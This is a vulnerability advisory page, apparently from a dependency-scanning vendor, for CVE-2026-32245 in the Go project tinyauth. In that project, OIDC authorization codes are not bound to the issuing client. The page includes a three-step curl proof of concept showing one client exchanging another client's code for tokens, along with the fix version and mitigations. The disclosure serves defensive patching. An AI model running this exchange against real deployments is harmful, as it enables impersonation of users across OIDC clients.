NIST deprecates RSA-2048 from 2030. Find every one of them before attackers do.
🐹
🐹 Go
Not in CISA KEV
MEDIUM severity

CVE-2026-32245 — tinyauth

MEDIUMFix: steveiliop56/tinyauth@b2a1bfb

CVE-2026-32245 is a medium-severity (CVSS 6.5) CWE-863 vulnerability in github.com/steveiliop56/tinyauth. A fix is available for github.com/steveiliop56/tinyauth — see the affected versions and patch details below.

Tinyauth's OIDC authorization codes are not bound to client on token exchange

Also known asGHSA-xg2q-62g2-cvcmGO-2026-4689
Published
Updated
Affected
1 pkg
Patched
1 / 1
Exploits
None indexed
Exploitation data as of Nov 6, 2026 · OSV.dev, NVD, FIRST.org (EPSS)

Exploitation Status

Proof-of-concept exploit code exists

  • CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.

Exploitation and automatability from CISA’s SSVC triage for CVE-2026-32245.

EPSS Exploitation Probability

via FIRST.org ↗
0.3%probability of exploitation in next 30 days
Lower Risk0.00%
Lower risk than most CVEs19th percentile — riskier than 19% of all scored CVEsHighest risk
0.00%0.28%0.56%0.84%0.1%0.3%May 26Sep 26Nov 26

Probability of exploitation in the next 30 days, from FIRST.org EPSS.

How urgent is this, really

Where this sits among everything scored

Real-World Exposure

1 pkg affected
🐹github.com/steveiliop56/tinyauth

Real-time download stats are indexed for npm and PyPI packages. This vulnerability affects Go packages — download data is not available via public APIs for these ecosystems.

Description

Summary

The OIDC token endpoint does not verify that the client exchanging an authorization code is the same client the code was issued to. A malicious OIDC client operator can exchange another client's authorization code using their own client credentials, obtaining tokens for users who never authorized their application. This violates RFC 6749 Section 4.1.3.

Details

When an authorization code is created, StoreCode at internal/service/oidc_service.go:305-322 correctly stores the ClientID alongside the code hash in the database (line 316).

During token exchange at internal/controller/oidc_controller.go:267-309, the handler retrieves the code entry at line 268 and validates the redirect_uri at line 291, but never compares entry.ClientID against the requesting client's ID (creds.ClientID). The code proceeds directly to GenerateAccessToken at line 299.

The developers clearly intended this check to exist, the refresh token flow at internal/service/oidc_service.go:508-510 has the exact guard: if entry.ClientID != reqClientId { return TokenResponse{}, ErrInvalidClient }. It was simply omitted from the authorization code grant.

The entry.ClientID field is stored in the database but never read during authorization code exchange.

PoC

Prerequisites: a tinyauth instance with two OIDC clients configured (Client A and Client B). Both clients must have at least one overlapping redirect URI, or the attacker must be able to intercept the authorization code from Client A's redirect (via referrer leak, browser history, log access, etc.).

Step 1 — Log in as a normal user:

curl -c cookies.txt -X POST http://localhost:3000/api/user/login \
  -H "Content-Type: application/json" \
  -d '{"username":"admin","password":"admin123"}'

Step 2 — Authorize with Client A:

curl -b cookies.txt -X POST http://localhost:3000/api/oidc/authorize \
  -H "Content-Type: application/json" \
  -d '{"client_id":"client-a-id","redirect_uri":"http://localhost:8080/callback","response_type":"code","scope":"openid","state":"test"}'

Extract the code parameter from the redirect_uri in the response.

Step 3 — Exchange Client A's code using Client B's credentials:

curl -X POST http://localhost:3000/api/oidc/token \
  -u "client-b-id:client-b-secret" \
  -d "grant_type=authorization_code&code=<CODE_FROM_STEP_2>&redirect_uri=http://localhost:8080/callback"

The server returns a valid access_token, id_token, and refresh_token. Client B has obtained tokens for a user who only authorized Client A.

Impact

A malicious OIDC relying party operator who can intercept or observe an authorization code issued to a different client can exchange it for tokens under their own client identity. This enables user impersonation across OIDC clients on the same tinyauth instance. The attack requires a multi-client deployment and a way to obtain the victim client's authorization code (which is passed as a URL query parameter and can leak through referrer headers, browser history, or server logs). Single-client deployments are not affected.

Affected Packages

1 total 1 fixed
EcosystemPackageVulnerable rangeFix
🐹Gogithub.com/steveiliop56/tinyauthall versions1.0.1-20260311144920-9eb2d33064b7go get github.com/steveiliop56/tinyauth@v1.0.1-20260311144920-9eb2d33064b7

Affected Products

1 product · 1 configurations
Application
tinyauthtinyauth
≤ 5.0.2
range

Detection & mitigation playbook

Open-source dependency
  1. Detect

    Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for github.com/steveiliop56/tinyauth, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.

  2. Fix

    Update github.com/steveiliop56/tinyauth to 1.0.1-20260311144920-9eb2d33064b7 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms CVE-2026-32245 is resolved across your whole dependency graph.

  3. Workarounds

    Put an independent control in front of the weakness: restrict the affected endpoint or interface to trusted networks, require an additional authentication factor or proxy-level check, and invalidate existing sessions and credentials in case the flaw has already been used.

Frequently Asked Questions

### Summary The OIDC token endpoint does not verify that the client exchanging an authorization code is the same client the code was issued to. A malicious OIDC client operator can exchange another client's authorization code using their own client credentials, obtaining tokens for users who never authorized their application. This violates RFC 6749 Section 4.1.3. ### Details When an authorization code is created, `StoreCode` at `internal/service/oidc_service.go:305-322` correctly stores the `ClientID` alongside the code hash in the database (line 316). During token exchange at `internal/c
O3 Security · Impact-Aware SCA

Is CVE-2026-32245 in your dependencies?

Find it across Go, including transitive dependencies.

CVE-2026-32245: tinyauth — Fix Available